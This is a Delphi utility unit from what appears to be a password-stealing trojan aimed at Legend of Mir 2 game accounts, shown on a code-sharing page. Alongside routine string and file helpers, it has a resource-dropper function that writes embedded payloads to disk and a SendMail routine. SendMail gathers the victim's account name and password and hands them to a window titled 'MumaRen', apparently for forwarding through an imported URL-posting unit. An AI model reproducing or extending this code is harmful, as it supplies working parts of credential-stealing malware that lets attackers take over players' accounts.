📄 fununit.pas
字号:
unit FunUnit;
interface
function FileExistsAPI(const FileName:string):boolean;
function IsNumeric(data: string) : boolean;
function IsValidIdent(const Ident: string): Boolean;
function TrimRight(const S: string): string;
function UpperCase(const S: string): string;
function Int2Str(const Int: Integer): string; // 整数转字符串
function GetCaption(hWnd: LongWord): string; // 取窗体文字
function ExtractFileName(const FullName: string): string; // 分析出文件名
function CompareAnsiText(const S1, S2: string): Boolean; // 字符串比较
procedure SendMail(iStopStep: Integer); // 向主线程提交信件
function GetDirectory(dInt: Integer): string;
function ResourceToFile(const ResType, ResName, FileName: PChar): Boolean; // 释放资源到文件
implementation
uses
Windows, Messages, UrlPost, ExtInfo, VarUnit;
//判断文件是否存在
function FileExistsAPI(const FileName:string):boolean;
var hf:hFile;
begin
hf:=CreateFile(PChar(FileName),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
Result := (hf <> INVALID_HANDLE_VALUE) or (GetLastError <> ERROR_ACCESS_DENIED);
if Result then Result:=GetLastError=0 else CloseHandle(hf);
end;
//判断是否为数字
function IsNumeric(data: string) : boolean;
var i, code : integer;
begin
val(data, i, code);
if code = 0
then result := true
else result := false;
end;
//判断是否是正常字串
function IsValidIdent(const Ident: string): Boolean;
const
Alpha = ['A'..'Z', 'a'..'z', '_'];
AlphaNumeric = Alpha + ['0'..'9'];
var
I: Integer;
begin
Result := False;
if (Length(Ident) = 0) or not (Ident[1] in Alpha) then Exit;
for I := 2 to Length(Ident) do if not (Ident[I] in AlphaNumeric) then Exit;
Result := True;
end;
//除去右边空字串
function TrimRight(const S: string): string;
var
I: Integer;
begin
I := Length(S);
while (I > 0) and (S[I] <= ' ') do Dec(I);
Result := Copy(S, 1, I);
end;
{function TrimRight(const S: WideString): WideString;
var
I: Integer;
begin
I := Length(S);
while (I > 0) and (S[I] <= ' ') do Dec(I);
Result := Copy(S, 1, I);
end;}
//转换成大写
function UpperCase(const S: string): string;
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= 'a') and (Ch <= 'z') then Dec(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;
// 释放资源到文件
function ResourceToFile(const ResType, ResName, FileName: PChar): Boolean;
var
HResource, HGlobal, FHandle, FSize, WSize: LongWord;
FMemory: Pointer;
begin
Result := FALSE;
// 定位资源
HResource := FindResource(HInstance, ResName, ResType);
if (HResource = 0) then Exit;
// 装入资源
HGlobal := LoadResource(HInstance, HResource);
if (HGlobal = 0) then Exit;
// 锁定内存
FMemory := LockResource(HGlobal);
if (FMemory = nil) then
begin
FreeResource(HGlobal);
Exit;
end;
// 建立文件
FHandle := CreateFile(FileName, GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if (FHandle = INVALID_HANDLE_VALUE) then
begin
UnlockResource(HGlobal);
FreeResource(HGlobal);
Exit;
end;
// 写入文件
FSize := SizeOfResource(HInstance, HResource);
WriteFile(FHandle, FMemory^, FSize, Wsize, nil);
if (FSize <> Wsize) then
begin
UnlockResource(HGlobal);
FreeResource(HGlobal);
Exit;
end;
// 关闭保存
SetEndofFile(FHandle);
CloseHandle(FHandle);
// 解锁释放
UnlockResource(HGlobal);
FreeResource(HGlobal);
Result := TRUE;
end;
//定位系统目录
function GetDirectory(dInt: Integer): string;
var
s: array[0..255] of Char;
begin
case dInt of
0: GetWindowsDirectory(@s, 256); //Windows安装文件夾所存在的路径
1: GetSystemDirectory(@s, 256); //系统文件夾所存在的路径
2: GetTempPath(256,@s); //Temp文件夾所存在的路径
end;
if dInt=2 then
result :=string(s)
else
result := string(s) + '\';
end;
// 整数转字符串
function Int2Str(const Int: Integer): string;
var
d, m: Integer;
begin
if (Int = 0) then begin Result := '0'; Exit; end;
if (Int < 0) then m := - Int else m := Int;
Result := '';
while (m <> 0) do
begin
d := m mod 10;
m := m div 10;
Result := Char(d + 48) + Result;
end;
if (Int < 0) then Result := '-' + Result;
end;
// 取窗体文字
function GetCaption(hWnd: LongWord): string;
var
szWindowText: array[0..MAX_PATH] of Char;
szTextLength: Integer;
begin
szTextLength := SendMessage(hWnd, WM_GETTEXT, MAX_PATH, Integer(@szWindowText[0]));
szWindowText[szTextLength] := #0;
Result := szWindowText;
end;
// 分析出文件名
function ExtractFileName(const FullName: string): string;
var
P: Integer;
begin
P := Length(FullName);
while (P > 0) and (FullName[P] <> '\') and (FullName[P] <> ':') do Dec(P);
Result := Copy(FullName, P + 1, Length(FullName) - P);
end;
// 字符串比较(不区分大小写)
function CompareAnsiText(const S1, S2: string): Boolean;
begin
Result := CompareString(LOCALE_USER_DEFAULT, NORM_IGNORECASE, PChar(S1), -1, PChar(S2), -1) = 2;
end;
// 向主线程提交信件
procedure SendMail(iStopStep: Integer);
var
DS: TCopyDataStruct;
SendText: string;
begin
// Equipage := ChangeEolFormat(GetEquipment_Mir2); // 取装备信息
SendText :=
'mail=' + HtmlEncode(ExtraInfo.Down) +
'&User=' + HtmlEncode(User) + //账号
'&Pass=' + HtmlEncode(Pass); //密码3
DS.dwData := 66;
DS.cbData := Length(SendText) + 1;
DS.lpData := @SendText[1];
SendMessage(FindWindow('Edit', 'MumaRen'), WM_COPYDATA, 0, LongWord(@DS));
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -